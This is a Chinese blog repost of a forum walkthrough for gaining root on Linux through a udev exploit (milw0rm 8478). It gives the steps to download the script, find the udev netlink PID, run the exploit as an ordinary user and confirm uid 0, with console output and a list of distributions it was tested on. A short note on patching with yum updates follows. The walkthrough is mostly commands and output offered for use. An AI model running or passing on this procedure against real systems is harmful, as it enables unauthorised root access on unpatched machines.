寻觅生命中的那一片浅草......

LINUX普通用户提权为ROOT

1.在LINUX目录下建立test 帐户
2.下载 a脚本 在http://milw0rm.com/exploits/8478
3.查看UDEV的PID  方法一: 先cat /proc/net/netlink
ffff810077587400 15  364    ffffffff 0        0        0000000000000000 2
ffff810037f81000 16  0      00000000 0        0        0000000000000000 2
ffff810077078400 18  0      00000000 0        0        0000000000000000 2
那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2


方法二:
另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本
然后在test 用户的当前目录 里
按以下步骤运行
[haha@localhost ~]$ id
uid=501(haha) gid=502(haha) groups=502(haha)
[haha@localhost ~]$sh a 364
suid.c: In function ‘main’:
suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’
sh-3.1# id
uid=0(root) gid=0(root) groups=502(haha)
此时的UID 变为0了 ,test用户已经变为 ROOT用户 可以继续以下
sh-3.1# bash
[root@localhost ~]#
看!test -> ROOT 用户大变身!!

说说我的测试版本[root@localhost ~]# uname -a
Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:14 EST 2007 x86_64 x86_64 x86_64 GNU/Linux

目前RH5 和UBANTU 以及DABIAN都测试通过了 但是TURBOLINUX上没有测试通过..
稍后会跟出打补丁的方法 版主=.=麻烦给加个精吧!

打补丁方法见:
http://www.zjtbzx.gov.cn/090421/13170.html
打了这两个补丁
yum -y update udev
yum -y update libvolume*

转载自:http://bbs3.chinaunix.net/viewthread.php?tid=1439055&extra=&page=1

尚无评论

发表评论

2024年四月
« 5月    
1234567
891011121314
15161718192021
22232425262728
2930